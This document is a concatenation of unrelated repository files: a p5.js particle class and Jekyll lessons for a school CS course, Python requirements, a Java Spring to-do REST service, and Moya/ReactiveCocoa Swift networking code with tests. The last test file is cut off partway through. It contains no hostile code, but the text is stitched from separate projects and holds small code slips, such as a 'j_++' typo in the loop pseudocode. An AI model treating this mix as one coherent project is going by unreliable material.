<file_sep>class Walker {
constructor(x, y) {
this.x = x;
this.y = y;
this.r = 2
this.stuck = false;
this.connected = []
}
show() {
if (this.stuck) {
stroke(150, 0, 0, 100);
strokeWeight(this.r)
for (let i = 0; i < this.connected.length; i++) {
line(this.x, this.y, this.connected[i][0], this.connected[i][1]);
}
} else {
fill(255);
noStroke();
ellipse(this.x, this.y, this.r);
}
}
move() {
this.x += random(-this.r * 2, this.r * 2);
this.y += random(-this.r * 2, this.r * 2);
// if (this.x < 0) {
// this.x = 0
// }
// if (this.x > width) {
// this.x = width
// }
// if (this.y < 0) {
// this.y = 0
// }
// if (this.y > height) {
// this.y = height
// }
}
checkAdhesion(other) {
if (!this.stuck) {
let d = dist(this.x, this.y, other.x, other.y);
if (d < (this.r + other.r)*1.5) {
this.stuck = true;
other.connected.push([this.x, this.y]);
}
}
}
}<file_sep>---
title: Object-Object Interaction
---
# {{page.title}}
Now that we've have all these pretty bubbles, or balls, or calcium ions floating around the screen, the next logical questions is "how do we get them to interact with each other?" No doubt this is a great questions and one which will be answered below
## [`dist()`](https://p5js.org/reference/#/p5/dist)
Presumably, we are going to want to understand how close the balls are to each other and for that we can use the [`dist()`](https://p5js.org/reference/#/p5/dist) function that is built into p5.js
`dist()` calculates the euclidean distance between two points takes 4 arguments `(x1, y1, x2, y2)` The euclidean distance is defined as the shortest path between two points on a flat plane and is calculated as `sqrt((x2-x1)^2 + (y2 - y1)^2)`

Assume we have two ball objects that we want to check to see if they are colliding. Each ball knows about its `(x,y)` position and its radius `r` We can check for collision by finding the distance between their two centers and then checking to see if that distance is less than the sum of their radii

## `checkDist()`
With this in mind we can create a method for our object that can return `true/false` if two things are colliding
``` javascript
checkDist(x2,y2,r2){
let d = dist(this.x, this.y, x2, y2);
let collide = d <= (this.r + r2);
return collide
}
```
And this would work just fine, but wouldn't it be better if we could just pass in an entire object instead of `x2, y2, r2`? Well you're in luck!
``` javascript
checkDist(other){
let d = dist(this.x, this.y, other.x, other.y);
let collide = d <= (this.r + other.r);
return collide
}
```
If we wanted to get real silly we could even do this in as a one-liner
```javascript
checkDist(other){
return dist(this.x, this.y, other.x, other.y) <= (this.r + other.r);
}
```
But I fear that might be going a bit too far.
## Check each and every ball

How then do we deal with a giant array of objects?How do we think about this algorithmically? Let's think consider a simple example with 4 balls. The naive way to think about this is that we need to check every ball against every other ball.
```javascript
for(let ball in balls){
for(let other in others){
check ball against other;
}
}
```
But we can do better! First we need to realize that we don't want to check the distance between a ball and itself. Secondly we can realize that the check goes both ways. If `balls[0]` collides with `balls[1]` then the opposite is true. So in reality we need to check the first ball against every other ball, but we don't have to check the second against the first or second, and we don't have to check the third against the first, second,or third and so on. We can now rewrite this as:
```javascript
for(let i = 0; i < balls.length; i++){
for(let j = i +1; j < balls.length; j_++){
check balls[i] against balls[j]
}
}
```
Wahoo!
## Video Explanation
This gives an explanation of object interaction with a mouse but the same concept applies.
<iframe width="640" height="340" src="https://www.youtube.com/embed/TaN5At5RWH8" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<file_sep>---
title: Object Arrays
---
# {{page.title}}
One ball is good, two is better, 1000 is great. But how are we going to make 1000 ball objects? Certainly not with `ball1`, `ball2`, `ball3`...`ball1000`. That would be arduous and prone to error. Instead we can create an array that holds all of the objects. Then we can use looping to operate on every object in the array. The video below helps explain the process
## Video Explanation
<iframe width="640 " height="340" src="https://www.youtube.com/embed/fBqaA7zRO58" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Comprehension Check
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSeJOaUPatVfXxNxWf-RtkKj88oFenyfcUgspkq5IfAAVxHX0Q/viewform?embedded=true" width="100%" height="1670" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
## Assignment
Update your code from before to create an array of 100 ball objects that spawn at a random location with a random radius and have them all bounce around the screen. Submit a pull request back to fcs-cs/cs2-student-files MASTER. (Note: if the pull request hasn't been accepted yet, just make a new commit to the pull request with the commit message "Object Array")<file_sep>---
title: Object Classes
---
# {{page.title}}
This lesson will cover the basics of creating Javascript classes using ES6. The following video from the [coding train](https://www.youtube.com/channel/UCvjgXvBlbQiydffZU7m1_aw) presents a good overview.
<iframe width="640" height="340" src="https://www.youtube.com/embed/T-HGdc8L-7w" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## [Comprehension Check](https://docs.google.com/forms/d/e/1FAIpQLSeuDgpZdaSNBrcDJpUmJsubYtyyyx3deezLAckHjWnAg0WCvw/viewform)
<iframe src="https://docs.google.com/forms/d/e/1FAIpQLSeuDgpZdaSNBrcDJpUmJsubYtyyyx3deezLAckHjWnAg0WCvw/viewform?embedded=true" width="640" height="2178" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
## In class assignment
In your fork of cs2-student-files navigate to OOP/object-classes/yourname. (If it's not there, make sure to pull in the updates from fcs-cs to your fork) There you will find a sketch of a bouncing ball written without using object classes. Refactor the code so that there is a `Ball` class that knows about its `x`, `y` and `r` and has at least three methods. After refactoring create at least two instances of the Ball class (`ball1` and `ball2`). When you have finished submit a pull request back to fcs-cs/cs2-student-files MASTER.<file_sep>---
title: 'Forks and Pull Requests'
---
#{{page.title}}
Watch the following videos
## Forks and Pull Requests
<iframe width="600" height="340" src="https://www.youtube.com/embed/_NrSWLQsDL4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Forking a git repo
<iframe width="560" height="315" src="https://www.youtube.com/embed/MJh7-_8p5bs" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
# In Class
- Fork the [CS2 resource](https://github.com/fcs-cs/cs2-student-files) repo
- I'll make some changes to the repo
- Sync changes to from the original repo to your forked copy<br>
<iframe width="560" height="315" src="https://www.youtube.com/embed/XC41YGQYpo4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
- Make a new file of your own in your forked repo that contains your name and grade
- I'll make some more changes to the oringial repo
- Resync your repo. What do you think will happen?
| b831163b18b50d3b8c3a4988f14f5f6f69b8d503 | [
"Markdown",
"JavaScript"
] | 45 | Markdown | fcs-cs/cs2 | 26097ead1161abe8db4849a2d198e207551c713c | a6e81c3c3de0d6810b21414b9c12b95abf1cd693 |
refs/heads/master | <file_sep>pyopenssl==19.1.0
pytz==2016.7
signxml==2.8.1
cryptography==3.3
endesive==2.0.1
chardet==3.0.4
<file_sep>__version__ = '1.0.1'
from erpbrasil.assinatura.assinatura import Assinatura # noqa: F401
from erpbrasil.assinatura.certificado import Certificado # noqa: F401
| 522c77b4a0d39f14f7e972f2ab8ab61ee57a0432 | [
"Python",
"Text"
] | 2 | Text | jjnf/erpbrasil.assinatura | f710acdfeaea68cd91fda3a78392391becc181df | 2f4aa6281f24a6c21309bff4eef5aae36b59054b |
refs/heads/main | <repo_name>Shkiller/SpringToDoList<file_sep>/src/main/java/main/model/ToDoListService.java
package main.model;
import main.EntityNotFoundException;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Service;
@Service
public class ToDoListService {
private final ToDoListRepository toDoListRepository;
private ToDoListService(ToDoListRepository toDoListRepository) {
this.toDoListRepository = toDoListRepository;
}
public Iterable<Case> list() {
return toDoListRepository.findAll();
}
public Case add(Case newCase) {
return toDoListRepository.save(newCase);
}
public ResponseEntity get(int id) throws EntityNotFoundException {
return toDoListRepository.findById(id)
.map(cCase -> new ResponseEntity(cCase, HttpStatus.OK))
.orElseThrow(() -> new EntityNotFoundException("No such case"));
}
public void removeAll() {
toDoListRepository.deleteAll();
}
public ResponseEntity remove(int id) throws EntityNotFoundException {
return toDoListRepository.findById(id)
.map(cCase -> {
toDoListRepository.delete(cCase);
return new ResponseEntity(HttpStatus.OK);
}).orElseThrow(() -> new EntityNotFoundException("No such case"));
}
public ResponseEntity updateCase(int id, Case newCase) throws EntityNotFoundException {
return toDoListRepository.findById(id)
.map(cCase -> new ResponseEntity(toDoListRepository
.save(newCase), HttpStatus.OK))
.orElseThrow(() -> new EntityNotFoundException("No such case"));
}
}
<file_sep>/src/main/java/main/CaseList.java
package main;
import main.model.Case;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
public class CaseList {
private static int currentId = 1;
private static Map<Integer, Case> caseMap = new ConcurrentHashMap<>();
public static List<Case> getCaseList() {
return new ArrayList<>(caseMap.values());
}
public static synchronized Case addCase(Case newCase) {
caseMap.put(currentId++, newCase);
return newCase;
}
public static Case getCase(int caseId) {
return caseMap.getOrDefault(caseId, null);
}
public static boolean removeCase(int caseId) {
if (caseMap.containsKey(caseId)) {
caseMap.remove(caseId);
return true;
}
return false;
}
public static void removeAllCases() {
caseMap = new ConcurrentHashMap<>();
currentId = 1;
}
public static Case updateCase(int id, Case newCase) {
return caseMap.computeIfPresent(id,(k,v)->newCase);
}
}
<file_sep>/src/main/java/main/controller/ToDoListController.java
package main.controller;
import main.EntityNotFoundException;
import main.model.Case;
import main.model.ToDoListService;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
@RestController
public class ToDoListController {
private final ToDoListService toDoListService;
public ToDoListController(ToDoListService toDoListService) {
this.toDoListService = toDoListService;
}
@PostMapping("/cases/")
public Case add(Case newCase) {
return toDoListService.add(newCase);
}
@GetMapping("/cases")
public Iterable<Case> list() {
return toDoListService.list();
}
@GetMapping("/cases/{id}")
public ResponseEntity get(@PathVariable int id) throws EntityNotFoundException {
return toDoListService.get(id);
}
@DeleteMapping("/cases")
public void removeAll() {
toDoListService.removeAll();
}
@DeleteMapping("/cases/{id}")
public ResponseEntity remove(@PathVariable int id) throws EntityNotFoundException {
return toDoListService.remove(id);
}
@PutMapping("/cases/{id}")
public ResponseEntity updateCase(@PathVariable int id, Case newCase) throws EntityNotFoundException {
return toDoListService.updateCase(id, newCase);
}
}
<file_sep>/src/main/resources/application.properties
spring.jpa.hibernate.ddl-auto=create
spring.datasource.url=jdbc:mysql://localhost:3306/todolist?createDatabaseIfNotExist=true&allowPublicKeyRetrieval=true&useSSL=false&useUnicode=true&characterEncoding=UTF-8&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=<PASSWORD><file_sep>/src/main/java/main/EntityNotFoundException.java
package main;
public class EntityNotFoundException extends Exception {
public EntityNotFoundException (String message)
{
super(message);
}
}
| b2e6bf75dc5499c85335cf3d6e9389c686cdb9fb | [
"Java",
"INI"
] | 5 | Java | Shkiller/SpringToDoList | 465e2fb152cce6bc490417a95349e757d5e0abfa | b0a9166e0940d769e3bd0a70fa1e7501b023f4ab |
refs/heads/master | <file_sep>#encoding: utf-8
require 'rubygems'
require 'sinatra'
require 'sinatra/reloader'
require 'SQLite3'
def init_db
@db = SQLite3::Database.new 'leprosorium.db'
@db.results_as_hash = true
end
configure do
init_db
# => создает таблицу, если таблица не существует
@db.execute 'CREATE TABLE if not exists posts
(
id integer PRIMARY KEY AUTOINCREMENT,
created_date date,
content text
)'
# => создает комментарий, если комментарий не существует
@db.execute 'CREATE TABLE if not exists comments
(
id integer PRIMARY KEY AUTOINCREMENT,
created_date date,
content text,
post_id integer
)'
end
before do
init_db
end
get '/' do
@results = @db.execute 'select * from posts order by id desc'
erb :index
end
get '/new' do
erb :new
end
post "/new" do
content = params[:content]
if content.length <= 0
@error = 'Type post text'
return erb :new
end
@db.execute 'insert into posts (content, created_date) values (?, datetime())', [content]
# => перенаправление на главную страницу
redirect to '/'
erb "You typed #{content}"
end
# => вывод информации о посте (универсальный обработчик)
get '/details/:post_id' do
# => получаем переменную из URL
post_id = params[:post_id]
# => получаем список постов
# => (у нас будет только один пост)
results = @db.execute 'select * from posts where id=?', [post_id]
# => выбираем этот пост и переменную @row
@row = results[0]
# => выбираем комментарии для поста
@comments = @db.execute 'select * from comments where post_id = ? order by id', [post_id]
erb :details
end
# => обработчик post-запроса /details/...
post '/details/:post_id' do
post_id = params[:post_id]
content = params[:content]
# => сохранение данных в БД
@db.execute 'insert into comments (content, created_date, post_id) values (?, datetime(), ?)', [content, post_id]
erb "You typed comment #{content} for post #{post_id}"
# => перенаправляем на страницу поста
redirect to ('/details/' + post_id)
end | 31edbd121ec9607c8124132fec260e321e896949 | [
"Ruby"
] | 1 | Ruby | Yar-ua/Leprosorium | 36b71aac89a3caa4579976f7ca4b9136011a3954 | 67db9db80e9003d7fcc2485acb37541ba25165ae |
refs/heads/master | <file_sep>Pod::Spec.new do |s|
s.name = "ReactiveMoya"
s.version = "4.1.0"
s.ios.deployment_target = '8.0'
s.osx.deployment_target = '10.10'
s.source = { :git => "https://github.com/Moya/Moya.git", :tag => s.version }
s.source_files = ["Source/*swift", "Source/Plugins/*swift", "Source/ReactiveCore/*.swift", "Source/ReactiveCocoa/*.swift"]
s.dependency 'Alamofire', "~> 3.0"
s.dependency "ReactiveCocoa", "4.0.0-alpha-3"
end
<file_sep>platform :ios, '8.0'
source 'https://github.com/CocoaPods/Specs.git'
use_frameworks!
target 'Demo' do
# Our libraries
pod 'RxMoya', :path => "../"
pod 'ReactiveMoya', :path => "../"
pod 'Moya', :path => "../"
end
target 'DemoTests' do
pod 'Quick', :git => 'https://github.com/Quick/Quick'
pod 'Nimble', :git => 'https://github.com/Quick/Nimble'
pod 'OHHTTPStubs'
end
<file_sep>import Foundation
import ReactiveCocoa
import Alamofire
/// Subclass of MoyaProvider that returns SignalProducer instances when requests are made. Much better than using completion closures.
public class ReactiveCocoaMoyaProvider<Target where Target: MoyaTarget>: MoyaProvider<Target> {
/// Initializes a reactive provider.
override public init(endpointClosure: EndpointClosure = MoyaProvider.DefaultEndpointMapping,
requestClosure: RequestClosure = MoyaProvider.DefaultRequestMapping,
stubClosure: StubClosure = MoyaProvider.NeverStub,
manager: Manager = Alamofire.Manager.sharedInstance,
plugins: [Plugin<Target>] = []) {
super.init(endpointClosure: endpointClosure, requestClosure: requestClosure, stubClosure: stubClosure, manager: manager, plugins: plugins)
}
/// Designated request-making method.
public func request(token: Target) -> SignalProducer<MoyaResponse, NSError> {
/// returns a new producer which starts a new producer which invokes the requests.
return SignalProducer { [weak self] outerSink, outerDisposable in
let producer: SignalProducer<MoyaResponse, NSError> = SignalProducer { [weak self] requestSink, requestDisposable in
let cancellableToken = self?.request(token) { data, statusCode, response, error in
if let error = error {
requestSink.sendFailed(error as NSError)
} else {
if let data = data {
requestSink.sendNext(MoyaResponse(statusCode: statusCode!, data: data, response: response))
}
requestSink.sendCompleted()
}
}
requestDisposable.addDisposable {
// Cancel the request
cancellableToken?.cancel()
}
}
/// starts the inner signal producer and store the created signal.
producer.startWithSignal { signal, innerDisposable in
/// connect all events of the signal to the observer of this signal producer
signal.observe(outerSink)
outerDisposable.addDisposable(innerDisposable)
}
}
}
public func request(token: Target) -> RACSignal {
return toRACSignal(request(token))
}
}
<file_sep>import Quick
import Nimble
import RxMoya
import RxSwift
import Alamofire
class RxSwiftMoyaProviderSpec: QuickSpec {
override func spec() {
var provider: RxMoyaProvider<GitHub>!
beforeEach {
provider = RxMoyaProvider(stubClosure: MoyaProvider.ImmediatelyStub)
}
it("returns a MoyaResponse object") {
var called = false
provider.request(.Zen).subscribeNext { (object) -> Void in
called = true
}
expect(called).to(beTruthy())
}
it("returns stubbed data for zen request") {
var message: String?
let target: GitHub = .Zen
provider.request(target).subscribeNext { (response) -> Void in
message = NSString(data: response.data, encoding: NSUTF8StringEncoding) as? String
}
let sampleString = NSString(data: (target.sampleData as NSData), encoding: NSUTF8StringEncoding)
expect(message).to(equal(sampleString))
}
it("returns correct data for user profile request") {
var receivedResponse: NSDictionary?
let target: GitHub = .UserProfile("ashfurrow")
provider.request(target).subscribeNext { (response) -> Void in
receivedResponse = try! NSJSONSerialization.JSONObjectWithData(response.data, options: []) as? NSDictionary
}
expect(receivedResponse).toNot(beNil())
}
}
}
private extension String {
var URLEscapedString: String {
return self.stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet.URLHostAllowedCharacterSet())!
}
}
private enum GitHub {
case Zen
case UserProfile(String)
}
extension GitHub : MoyaTarget {
var baseURL: NSURL { return NSURL(string: "https://api.github.com")! }
var path: String {
switch self {
case .Zen:
return "/zen"
case .UserProfile(let name):
return "/users/\(name.URLEscapedString)"
}
}
var method: Moya.Method {
return .GET
}
var parameters: [String: AnyObject]? {
return nil
}
var sampleData: NSData {
switch self {
case .Zen:
return "Half measures are as bad as nothing at all.".dataUsingEncoding(NSUTF8StringEncoding)!
case .UserProfile(let name):
return "{\"login\": \"\(name)\", \"id\": 100}".dataUsingEncoding(NSUTF8StringEncoding)!
}
}
}
private func url(route: MoyaTarget) -> String {
return route.baseURL.URLByAppendingPathComponent(route.path).absoluteString
}
private let failureEndpointClosure = { (target: GitHub) -> Endpoint<GitHub> in
let error = NSError(domain: "com.moya.error", code: 0, userInfo: [NSLocalizedDescriptionKey: "Houston, we have a problem"])
return Endpoint<GitHub>(URL: url(target), sampleResponseClosure: {.NetworkError(error)}, method: target.method, parameters: target.parameters)
}
private enum HTTPBin: MoyaTarget {
case BasicAuth
var baseURL: NSURL { return NSURL(string: "http://httpbin.org")! }
var path: String {
switch self {
case .BasicAuth:
return "/basic-auth/user/passwd"
}
}
var method: Moya.Method {
return .GET
}
var parameters: [String: AnyObject]? {
switch self {
default:
return [:]
}
}
var sampleData: NSData {
switch self {
case .BasicAuth:
return "{\"authenticated\": true, \"user\": \"user\"}".dataUsingEncoding(NSUTF8StringEncoding)!
}
}
}
<file_sep>import UIKit
import Quick
import Nimble
import ReactiveMoya
import OHHTTPStubs
private extension String {
var URLEscapedString: String {
return self.stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet.URLHostAllowedCharacterSet())!
}
}
private enum GitHub {
case Zen
case UserProfile(String)
}
extension GitHub : MoyaTarget {
var baseURL: NSURL { return NSURL(string: "https://api.github.com")! }
var path: String {
switch self {
case .Zen:
return "/zen"
case .UserProfile(let name):
return "/users/\(name.URLEscapedString)"
}
}
var method: Moya.Method {
return .GET
}
var parameters: [String: AnyObject]? {
return nil
}
var sampleData: NSData {
switch self {
case .Zen:
return "Half measures are as bad as nothing at all.".dataUsingEncoding(NSUTF8StringEncoding)!
case .UserProfile(let name):
return "{\"login\": \"\(name)\", \"id\": 100}".dataUsingEncoding(NSUTF8StringEncoding)!
}
}
}
private enum HTTPBin: MoyaTarget {
case BasicAuth
var baseURL: NSURL { return NSURL(string: "http://httpbin.org")! }
var path: String {
switch self {
case .BasicAuth:
return "/basic-auth/user/passwd"
}
}
var method: Moya.Method {
return .GET
}
var parameters: [String: AnyObject]? {
switch self {
default:
return [:]
}
}
var sampleData: NSData {
switch self {
case .BasicAuth:
return "{\"authenticated\": true, \"user\": \"user\"}".dataUsingEncoding(NSUTF8StringEncoding)!
}
}
}
private func url(route: MoyaTarget) -> String {
return route.baseURL.URLByAppendingPathComponent(route.path).absoluteString
}
private let failureEndpointClosure = { (target: GitHub) -> Endpoint<GitHub> in
let error = NSError(domain: "com.moya.error", code: 0, userInfo: [NSLocalizedDescriptionKey: "Houston, we have a problem"])
return Endpoint<GitHub>(URL: url(target), sampleResponseClosure: {.NetworkError(error)}, method: target.method, parameters: target.parameters)
}
func beIndenticalToResponse(expectedValue: MoyaResponse) -> MatcherFunc<MoyaResponse> {
return MatcherFunc { actualExpression, failureMessage in
do {
let instance = try actualExpression.evaluate()
return instance === expectedValue
} catch {
return false
}
}
}
class MoyaProviderIntegrationTests: QuickSpec {
override func spec() {
let userMessage = NSString(data: GitHub.UserProfile("ashfurrow").sampleData, encoding: NSUTF8StringEncoding)
let zenMessage = NSString(data: GitHub.Zen.sampleData, encoding: NSUTF8StringEncoding)
beforeEach {
OHHTTPStubs.stubRequestsPassingTest({$0.URL!.path == "/zen"}) { _ in
return OHHTTPStubsResponse(data: GitHub.Zen.sampleData, statusCode: 200, headers: nil).responseTime(0.5)
}
OHHTTPStubs.stubRequestsPassingTest({$0.URL!.path == "/users/ashfurrow"}) { _ in
return OHHTTPStubsResponse(data: GitHub.UserProfile("ashfurrow").sampleData, statusCode: 200, headers: nil).responseTime(0.5)
}
OHHTTPStubs.stubRequestsPassingTest({$0.URL!.path == "/basic-auth/user/passwd"}) { _ in
return OHHTTPStubsResponse(data: HTTPBin.BasicAuth.sampleData, statusCode: 200, headers: nil)
}
}
afterEach {
OHHTTPStubs.removeAllStubs()
}
describe("valid endpoints") {
describe("with live data") {
describe("a provider") {
var provider: MoyaProvider<GitHub>!
beforeEach {
provider = MoyaProvider<GitHub>()
return
}
it("returns real data for zen request") {
var message: String?
let target: GitHub = .Zen
provider.request(target) { (data, statusCode, response, error) in
if let data = data {
message = NSString(data: data, encoding: NSUTF8StringEncoding) as? String
}
}
expect{message}.toEventually( equal(zenMessage) )
}
it("returns real data for user profile request") {
var message: String?
let target: GitHub = .UserProfile("ashfurrow")
provider.request(target) { (data, statusCode, response, error) in
if let data = data {
message = NSString(data: data, encoding: NSUTF8StringEncoding) as? String
}
}
expect{message}.toEventually( equal(userMessage) )
}
it("returns an error when cancelled") {
var receivedError: ErrorType?
let target: GitHub = .UserProfile("ashfurrow")
let token = provider.request(target) { (data, statusCode, response, error) in
receivedError = error
}
token.cancel()
expect(receivedError).toEventuallyNot( beNil() )
}
}
describe("a provider with credential plugin") {
it("credential closure returns nil") {
var called = false
let plugin = CredentialsPlugin<HTTPBin> { (target) -> (NSURLCredential?) in
called = true
return nil
}
let provider = MoyaProvider<HTTPBin>(plugins: [plugin])
expect(provider.plugins.count).to(equal(1))
let target: HTTPBin = .BasicAuth
provider.request(target) { (data, statusCode, response, error) in }
expect(called).toEventually( beTrue() )
}
it("credential closure returns valid username and password") {
var called = false
var returnedData: NSData?
let plugin = CredentialsPlugin<HTTPBin> { (target) -> (NSURLCredential?) in
called = true
return NSURLCredential(user: "user", password: "<PASSWORD>", persistence: .None)
}
let provider = MoyaProvider<HTTPBin>(plugins: [plugin])
let target: HTTPBin = .BasicAuth
provider.request(target) { (data, statusCode, response, error) in
returnedData = data
}
expect(called).toEventually( beTrue() )
expect(returnedData).toEventually(equal(target.sampleData))
}
}
describe("a provider with network activity plugin") {
it("notifies at the beginning of network requests") {
var called = false
let plugin = NetworkActivityPlugin<GitHub> { (change) -> () in
if change == .Began {
called = true
}
}
let provider = MoyaProvider<GitHub>(plugins: [plugin])
let target: GitHub = .Zen
provider.request(target) { (data, statusCode, response, error) in }
expect(called).toEventually( beTrue() )
}
it("notifies at the end of network requests") {
var called = false
let plugin = NetworkActivityPlugin<GitHub> { (change) -> () in
if change == .Ended {
called = true
}
}
let provider = MoyaProvider<GitHub>(plugins: [plugin])
let target: GitHub = .Zen
provider.request(target) { (data, statusCode, response, error) in }
expect(called).toEventually( beTrue() )
}
}
describe("a reactive provider with RACSignal") {
var provider: ReactiveCocoaMoyaProvider<GitHub>!
beforeEach {
provider = ReactiveCocoaMoyaProvider<GitHub>()
}
it("returns some data for zen request") {
var message: String?
let target: GitHub = .Zen
provider.request(target).subscribeNext { (response) -> Void in
if let response = response as? MoyaResponse {
message = NSString(data: response.data, encoding: NSUTF8StringEncoding) as? String
}
}
expect{message}.toEventually( equal(zenMessage) )
}
it("returns some data for user profile request") {
var message: String?
let target: GitHub = .UserProfile("ashfurrow")
provider.request(target).subscribeNext { (response) -> Void in
if let response = response as? MoyaResponse {
message = NSString(data: response.data, encoding: NSUTF8StringEncoding) as? String
}
}
expect{message}.toEventually( equal(userMessage) )
}
}
}
describe("a reactive provider with SignalProducer") {
var provider: ReactiveCocoaMoyaProvider<GitHub>!
beforeEach {
provider = ReactiveCocoaMoyaProvider<GitHub>()
}
it("returns some data for zen request") {
var message: String?
let target: GitHub = .Zen
provider.request(target).startWithNext { (response) -> Void in
message = NSString(data: response.data, encoding: NSUTF8StringEncoding) as? String
}
expect{message}.toEventually( equal(zenMessage) )
}
it("returns some data for user profile request") {
var message: String?
let target: GitHub = .UserProfile("ashfurrow")
provider.request(target).startWithNext { (response) -> Void in
message = NSString(data: response.data, encoding: NSUTF8StringEncoding) as? String
}
expect{message}.toEventually( equal(userMessage) )
}
}
}
}
}
<file_sep>import Quick
import Nimble
import ReactiveCocoa
import ReactiveMoya
import Alamofire
class ReactiveCocoaMoyaProviderSpec: QuickSpec {
override func spec() {
var provider: ReactiveCocoaMoyaProvider<GitHub>!
beforeEach {
provider = ReactiveCocoaMoyaProvider<GitHub>(stubClosure: MoyaProvider.ImmediatelyStub)
}
describe("provider with RACSignal") {
it("returns a MoyaResponse object") {
var called = false
provider.request(.Zen).subscribeNext { (object) -> Void in
if let _ = object as? MoyaResponse {
called = true
}
}
expect(called).to(beTruthy())
}
it("returns stubbed data for zen request") {
var message: String?
let target: GitHub = .Zen
provider.request(target).subscribeNext { (object) -> Void in
if let response = object as? MoyaResponse {
message = NSString(data: response.data, encoding: NSUTF8StringEncoding) as? String
}
}
_ = target.sampleData as NSData
expect(message).toNot(beNil())
}
it("returns correct data for user profile request") {
var receivedResponse: NSDictionary?
let target: GitHub = .UserProfile("ashfurrow")
provider.request(target).subscribeNext { (object) -> Void in
if let response = object as? MoyaResponse {
receivedResponse = try! NSJSONSerialization.JSONObjectWithData(response.data, options: []) as? NSDictionary
}
}
let sampleData = target.sampleData as NSData
let sampleResponse = try! NSJSONSerialization.JSONObjectWithData(sampleData, options: []) as! NSDictionary
expect(receivedResponse) == sampleResponse
}
}
describe("failing") {
var provider: ReactiveCocoaMoyaProvider<GitHub>!
beforeEach {
provider = ReactiveCocoaMoyaProvider<GitHub>(endpointClosure: failureEndpointClosure, stubClosure: MoyaProvider.ImmediatelyStub)
}
it("returns the correct error message") {
var receivedError: NSError!
waitUntil { done in
provider.request(.Zen).subscribeError { (error) -> Void in
receivedError = error
done()
}
}
expect(receivedError.domain) == "com.moya.error"
}
it("returns an error") {
var errored = false
let target: GitHub = .Zen
provider.request(target).subscribeError { (error) -> Void in
errored = true
}
expect(errored).to(beTruthy())
}
}
describe("a subsclassed reactive provider that tracks cancellation with delayed stubs") {
struct TestCancellable: Cancellable {
static var cancelled = false
func cancel() {
TestCancellable.cancelled = true
}
}
class TestProvider<Target: MoyaTarget>: ReactiveCocoaMoyaProvider<Target> {
override init(endpointClosure: EndpointClosure = MoyaProvider.DefaultEndpointMapping,
requestClosure: RequestClosure = MoyaProvider.DefaultRequestMapping,
stubClosure: StubClosure = MoyaProvider.NeverStub,
manager: Manager = Alamofire.Manager.sharedInstance,
plugins: [Plugin<Target>] = []) {
super.init(endpointClosure: endpointClosure, requestClosure: requestClosure, stubClosure: stubClosure, manager: manager, plugins: plugins)
}
override func request(token: Target, completion: Moya.Completion) -> Cancellable {
return TestCancellable()
}
}
var provider: ReactiveCocoaMoyaProvider<GitHub>!
beforeEach {
TestCancellable.cancelled = false
provider = TestProvider<GitHub>(stubClosure: MoyaProvider.DelayedStub(1))
}
it("cancels network request when subscription is cancelled") {
let target: GitHub = .Zen
let disposable = provider.request(target).subscribeCompleted { () -> Void in
// Should never be executed
fail()
}
disposable.dispose()
expect(TestCancellable.cancelled).to( beTrue() )
}
}
describe("provider with SignalProducer") {
it("returns a MoyaResponse object") {
var called = false
provider.request(.Zen).startWithNext { (object) -> Void in
called = true
}
expect(called).to(beTruthy())
}
it("returns stubbed data for zen request") {
var message: String?
let target: GitHub = .Zen
provider.request(target).startWithNext { (response) -> Void in
message = NSString(data: response.data, encoding: NSUTF8StringEncoding) as? String
}
let sampleString = NSString(data: (target.sampleData as NSData), encoding: NSUTF8StringEncoding)
expect(message).to(equal(sampleString))
}
it("returns correct data for user profile request") {
var receivedResponse: NSDictionary?
let target: GitHub = .UserProfile("ashfurrow")
provider.request(target).startWithNext { (response) -> Void in
receivedResponse = try! NSJSONSerialization.JSONObjectWithData(response.data, options: []) as? NSDictionary
}
let sampleData = target.sampleData as NSData
let sampleResponse: NSDictionary = try! NSJSONSerialization.JSONObjectWithData(sampleData, options: []) as! NSDictionary
expect(receivedResponse).toNot(beNil())
expect(receivedResponse) == sampleResponse
}
describe("a subsclassed reactive provider that tracks cancellation with delayed stubs") {
struct TestCancellable: Cancellable {
static var cancelled = false
func cancel() {
TestCancellable.cancelled = true
}
}
class TestProvider<Target: MoyaTarget>: ReactiveCocoaMoyaProvider<Target> {
override init(endpointClosure: EndpointClosure = MoyaProvider.DefaultEndpointMapping,
requestClosure: RequestClosure = MoyaProvider.DefaultRequestMapping,
stubClosure: StubClosure = MoyaProvider.NeverStub,
manager: Manager = Alamofire.Manager.sharedInstance,
plugins: [Plugin<Target>] = []) {
super.init(endpointClosure: endpointClosure, requestClosure: requestClosure, stubClosure: stubClosure, manager: manager, plugins: plugins)
}
override func request(token: Target, completion: Moya.Completion) -> Cancellable {
return TestCancellable()
}
}
var provider: ReactiveCocoaMoyaProvider<GitHub>!
beforeEach {
TestCancellable.cancelled = false
provider = TestProvider<GitHub>(stubClosure: MoyaProvider.DelayedStub(1))
}
it("cancels network request when subscription is cancelled") {
let target: GitHub = .Zen
let disposable = provider.request(target).startWithCompleted { () -> Void in
// Should never be executed
fail()
}
disposable.dispose()
expect(TestCancellable.cancelled).to( beTrue() )
}
}
}
}
}
private extension String {
var URLEscapedString: String {
return self.stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet.URLHostAllowedCharacterSet())!
}
}
private enum GitHub {
case Zen
case UserProfile(String)
}
extension GitHub : MoyaTarget {
var baseURL: NSURL { return NSURL(string: "https://api.github.com")! }
var path: String {
switch self {
case .Zen:
return "/zen"
case .UserProfile(let name):
